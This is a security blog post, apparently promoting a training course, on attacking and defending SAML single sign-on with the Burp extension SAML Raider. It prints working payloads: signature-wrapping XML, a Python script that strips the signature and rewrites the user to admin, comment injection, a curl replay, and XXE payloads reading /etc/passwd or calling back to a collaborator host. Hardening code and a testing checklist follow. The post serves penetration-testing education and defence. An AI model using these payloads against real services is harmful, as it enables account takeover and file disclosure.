Meta Title: SAML Raider: Exploiting and Securing SAML Auth

Meta Description: Learn how attackers use SAML Raider to exploit SSO vulnerabilities. Discover real-world attack techniques and defenses to secure SAML authentication.

SAML Raider: Exploiting and Securing SAML Authentication

Security Assertion Markup Language (SAML) is the backbone of single sign-on (SSO) across enterprises, cloud platforms, and SaaS applications. When it works correctly, it is seamless and powerful. When it is misconfigured or poorly implemented, it becomes one of the most exploitable authentication mechanisms in a penetration tester's playbook.

SAML Raider is a Burp Suite extension purpose-built for intercepting, manipulating, and attacking SAML messages. This post walks through how SAML Raider works, what real-world attacks look like at the payload level, and how defenders can harden their SAML implementations against each class of vulnerability.

What Is SAML and Why Does It Get Exploited?

SAML 2.0 is an XML-based open standard for exchanging authentication and authorization data between an Identity Provider (IdP) and a Service Provider (SP). The IdP authenticates the user and issues a signed XML assertion. The SP trusts that assertion and grants access.

The problem is that trust. If an attacker can forge, replay, or modify that assertion, they inherit the access of any user, including administrators.

Common weaknesses exploited in SAML implementations include:

• Signature wrapping attacks that bypass XML signature validation
• Signature exclusion attacks where signatures are stripped entirely
• XML comment injection to alter parsed username values
• Replay attacks using stolen assertions
• XXE injection within SAML XML payloads

Setting Up SAML Raider in Burp Suite

SAML Raider is installed as a Burp Suite extension via the BApp Store or manually from the JAR file.

Installation via BApp Store:

1. Open Burp Suite Pro
2. Navigate to Extensions > BApp Store
3. Search for "SAML Raider"
4. Click Install

Once installed, SAML Raider adds a dedicated tab to Burp's message editor whenever a SAML request or response is detected. It automatically Base64-decodes and XML-formats the assertion for readable inspection and manipulation.

To intercept SAML traffic, configure your browser to proxy through Burp, then initiate an SSO login flow. The extension will flag the SAMLResponse parameter in the POST request to the SP's Assertion Consumer Service (ACS) endpoint.

Anatomy of a SAML Assertion

Before attacking, understand the structure being targeted. A typical SAML response contains:

<samlp:Response xmlns:samlp="urn:oasis:names:tc:SAML:2.0:protocol"
 ID="_abc123" Version="2.0" IssueInstant="2024-06-01T10:00:00Z"
 Destination="https://sp.example.com/acs">
 <saml:Issuer>https://idp.example.com</saml:Issuer>
 <ds:Signature>
   <ds:SignedInfo>
     <ds:Reference URI="#_abc123">
       <!-- digest and signature values -->
     </ds:Reference>
   </ds:SignedInfo>
   <ds:SignatureValue>BASE64SIGNATUREHERE==</ds:SignatureValue>
 </ds:Signature>
 <saml:Assertion ID="_def456">
   <saml:Subject>
     <saml:NameID>user@example.com</saml:NameID>
   </saml:Subject>
   <saml:AttributeStatement>
     <saml:Attribute Name="role">
       <saml:AttributeValue>user</saml:AttributeValue>
     </saml:Attribute>
   </saml:AttributeStatement>
 </saml:Assertion>
</samlp:Response>


[cta]

The ds:Signature element covers a specific element via the URI reference. This is the anchor point for several attacks.

SAML Attack Techniques with SAML Raider

XSW (XML Signature Wrapping) Attacks

XSW attacks are the most technically nuanced SAML attacks. The idea is to manipulate the XML structure so that the signature validates against a legitimate node, but the application processes a different, attacker-controlled node.

SAML Raider automates eight XSW variants (XSW1 through XSW8). Each variant repositions the signed element and the malicious element differently relative to the XML signature block.

XSW Type 2 Example (Response Level Wrapping):

<samlp:Response>
 <ds:Signature>
   <!-- Signature over the legitimate Response element -->
 </ds:Signature>
 <samlp:Response ID="_legitimate">
   <!-- Original content, validated by signature -->
 </samlp:Response>
 <samlp:Response ID="_evil">
   <saml:Assertion>
     <saml:NameID>admin@example.com</saml:NameID>
   </saml:Assertion>
 </samlp:Response>
</samlp:Response>


[cta]

In SAML Raider, select the assertion in the editor, click "XSW Attacks", choose a variant, modify the NameID in the cloned element to your target user, and forward the request. If the SP processes the unsigned element instead of validating against the signed reference, you authenticate as that user.

To test all eight variants systematically, use Burp's Intruder with SAML Raider's "Send to Intruder" feature and iterate through each XSW type.

If you want to master this class of attack with hands-on lab exercises and guided walkthroughs, the Redfox Cybersecurity Academy Web Hacking Advanced Course covers SAML exploitation alongside other advanced authentication attacks in a structured, practitioner-focused curriculum.

Signature Exclusion (Removing the Signature Entirely)

Some SPs are configured to accept unsigned assertions. SAML Raider makes this trivially testable.

In the SAML Raider tab:

1. Intercept the SAMLResponse
2. Click "Remove Signature"
3. Manually edit the NameID to any user
4. Forward the request

If the SP grants access, the application is accepting unsigned assertions. This is a critical misconfiguration and more common than it should be in legacy SSO integrations.

Scripted version using Python and the lxml library:

import base64
import zlib
from lxml import etree

# Load and decode SAMLResponse
raw = base64.b64decode(saml_response_b64)
root = etree.fromstring(raw)

# Define namespaces
ns = {
   'ds': 'http://www.w3.org/2000/09/xmldsig#',
   'saml': 'urn:oasis:names:tc:SAML:2.0:assertion'
}

# Remove Signature node
for sig in root.findall('.//ds:Signature', ns):
   sig.getparent().remove(sig)

# Modify NameID
for nameid in root.findall('.//saml:NameID', ns):
   nameid.text = 'admin@target.com'

# Re-encode
modified = base64.b64encode(etree.tostring(root)).decode()
print(modified)


[cta]

XML Comment Injection

This attack exploits a parser discrepancy between the XML signature validator and the application layer. By injecting an XML comment into the NameID value, the signature validator sees one value while the application parses another.

<saml:NameID>admin<!--comment-->@example.com</saml:NameID>


[cta]

Some XML signature libraries validate the raw text including the comment, while the application's string parser strips comments and reads admin@example.com. The result is a valid signature on a modified identity. This is a subtle but impactful attack documented in CVE-2017-11427 and variants across Ruby-SAML, OneLogin, and other libraries.

In SAML Raider, you can inject this directly in the XML editor panel before forwarding the request.

SAML Replay Attacks

SAML assertions include a NotOnOrAfter condition to limit their validity window. If an application does not enforce this condition or fails to track used assertion IDs, a captured assertion can be replayed.

<saml:Conditions
 NotBefore="2024-06-01T09:55:00Z"
 NotOnOrAfter="2024-06-01T10:05:00Z">


[cta]

Replay Test Procedure:

1. Intercept and save a valid SAMLResponse during legitimate login
2. Wait for the NotOnOrAfter time to pass
3. Re-submit the exact Base64-encoded SAMLResponse to the ACS endpoint using curl:

curl -X POST https://sp.example.com/acs \
 -d "SAMLResponse=BASE64ENCODEDRESPONSE" \
 -H "Content-Type: application/x-www-form-urlencoded" \
 -c cookies.txt \
 -v


[cta]

If authentication succeeds after expiry, the SP is not validating the time condition. Also test whether the same ID attribute can be submitted twice in quick succession. If the SP does not maintain a nonce cache of used assertion IDs, replay within the validity window is possible even against properly time-checking implementations.

XXE Injection in SAML

SAML payloads are XML, which makes them potential vectors for XML External Entity injection if the SP's XML parser has external entity processing enabled.

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
 <!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<samlp:Response xmlns:samlp="urn:oasis:names:tc:SAML:2.0:protocol">
 <saml:Issuer>&xxe;</saml:Issuer>
 ...
</samlp:Response>


[cta]

SAML Raider provides an XXE payload insertion point in its editor. To test blind XXE, use an out-of-band payload that forces a DNS or HTTP callback:

<!DOCTYPE foo [
 <!ENTITY % xxe SYSTEM "http://your-collaborator.burpcollaborator.net/xxe">
 %xxe;
]>


[cta]

Monitor your Burp Collaborator for DNS lookups or HTTP requests to confirm parser interaction. A successful callback confirms the parser is resolving external entities. From there, escalate to file read or SSRF depending on the network configuration.

Chaining SAML Vulnerabilities for Privilege Escalation

Real-world engagements rarely present a single clean vulnerability. A more common scenario involves chaining weaknesses. Consider this attack chain:

1. The IdP is a SaaS product with known XSW vulnerabilities in an older library version
2. The SP accepts assertions without verifying the Issuer against a whitelist
3. Assertion IDs are not cached, enabling replay

An attacker can:

1. Log in legitimately to obtain a valid signed assertion
2. Use SAML Raider's XSW attack to wrap the assertion with a cloned block containing admin@target.com as the NameID
3. If XSW fails, strip the signature entirely and replay the modified assertion
4. If the SP parses AttributeStatements for role assignment, modify the role attribute to administrator

<saml:Attribute Name="http://schemas.microsoft.com/ws/2008/06/identity/claims/role">
 <saml:AttributeValue>administrator</saml:AttributeValue>
</saml:Attribute>


[cta]

This chain is not theoretical. Variants have been documented in real assessments against enterprise SSO integrations with Azure AD, Okta, and on-premise ADFS configurations.

For practitioners building toward this level of assessment capability, the Redfox Cybersecurity Academy Web Hacking Advanced Course provides structured lab environments for practicing exactly these multi-stage attack chains against realistic targets.

Defending Against SAML Attacks

Enforce Strict Signature Validation

The SP must validate the signature on every assertion and reject any assertion without a valid signature. The signature must be verified against the IdP's public certificate, not just checked for presence.

Key implementation requirements:

• Reject assertions where the ds:Reference URI does not match the assertion's ID attribute
• Validate the signed element is the element being processed, not a sibling or ancestor
• Use a library that is explicitly documented as XSW-resistant (such as python3-saml with strict mode or OneLogin's PHP SAML toolkit with signature validation enabled)

Validate the Issuer Against a Whitelist

TRUSTED_ISSUERS = ["https://idp.yourcompany.com"]

if assertion.issuer not in TRUSTED_ISSUERS:
   raise ValueError("Untrusted Issuer")


[cta]

Never accept an assertion from an issuer that was not explicitly configured for the SP.

Enforce NotOnOrAfter and Cache Assertion IDs

from datetime import datetime, timezone

not_on_or_after = datetime(2024, 6, 1, 10, 5, 0, tzinfo=timezone.utc)

if datetime.now(timezone.utc) > not_on_or_after:
   raise ValueError("Assertion has expired")

if assertion_id in used_assertion_ids:
   raise ValueError("Assertion replay detected")

used_assertion_ids.add(assertion_id)


[cta]

Use a distributed cache (Redis, Memcached) for assertion ID tracking in horizontally scaled environments to prevent replay attacks across multiple SP nodes.

Disable External Entity Processing

Configure XML parsers to disable DTD processing and external entity resolution:

from lxml import etree

parser = etree.XMLParser(
   resolve_entities=False,
   no_network=True,
   dtd_validation=False,
   load_dtd=False
)
root = etree.fromstring(xml_data, parser)


[cta]

In Java environments using the built-in DocumentBuilderFactory:

DocumentBuilderFactory dbf = DocumentBuilderFactory.newInstance();
dbf.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true);
dbf.setFeature("http://xml.org/sax/features/external-general-entities", false);
dbf.setFeature("http://xml.org/sax/features/external-parameter-entities", false);
dbf.setXIncludeAware(false);
dbf.setExpandEntityReferences(false);


[cta]

Implement Canonicalization Correctly

XML Canonicalization (C14N) normalizes the XML before signing. If the signing and verification steps use different canonicalization algorithms, validation can fail or be bypassed. Ensure both IdP and SP agree on c14n algorithm and that the SP explicitly verifies the algorithm used in the signed assertion rather than accepting whatever the assertion declares.

Use Up-to-Date SAML Libraries

Outdated SAML libraries are consistently the root cause of XSW and comment injection vulnerabilities. Audit your library versions against known CVEs:

• CVE-2017-11427 (OneLogin ruby-saml)
• CVE-2017-11428 (OmniAuth-SAML)
• CVE-2021-42341 (multiple libraries)

Regularly run dependency audits as part of your CI pipeline:

# For Python projects
pip-audit

# For Node.js projects
npm audit

# For Ruby projects
bundle audit


[cta]

Testing Checklist for SAML Security Assessments

Use this checklist during engagements or internal security reviews:

• Intercept SAMLResponse and inspect structure with SAML Raider
• Test all eight XSW variants against the ACS endpoint
• Remove signature and attempt authentication as arbitrary user
• Inject XML comments into NameID and AttributeValue fields
• Test assertion replay after NotOnOrAfter expiry
• Test same assertion ID submitted twice within validity window
• Test XXE via Burp Collaborator for out-of-band confirmation
• Verify Issuer is validated against a whitelist
• Confirm signed element reference matches processed element
• Confirm unsigned assertions are rejected with a 4xx response

Wrapping Up

SAML Raider turns what would otherwise be tedious manual XML manipulation into a systematic, repeatable attack workflow. The vulnerabilities it targets, XSW, signature exclusion, comment injection, replay, and XXE, are not edge cases. They appear in real enterprise environments, often in SSO integrations that have never been subjected to a dedicated security review.

Understanding these attacks at the payload level is what separates a surface-level scanner report from a meaningful security assessment. Defenders who understand how these attacks work are significantly better positioned to choose the right library configurations, write the right validation code, and know what to look for in logs.

If you are building or sharpening your web application penetration testing skills, the Redfox Cybersecurity Academy Web Hacking Advanced Course covers SAML exploitation, advanced authentication bypass, and the full spectrum of web attack techniques that practitioners need for serious engagements. Redfox Cybersecurity Academy designs every module around real-world applicability, so the skills transfer directly to the field.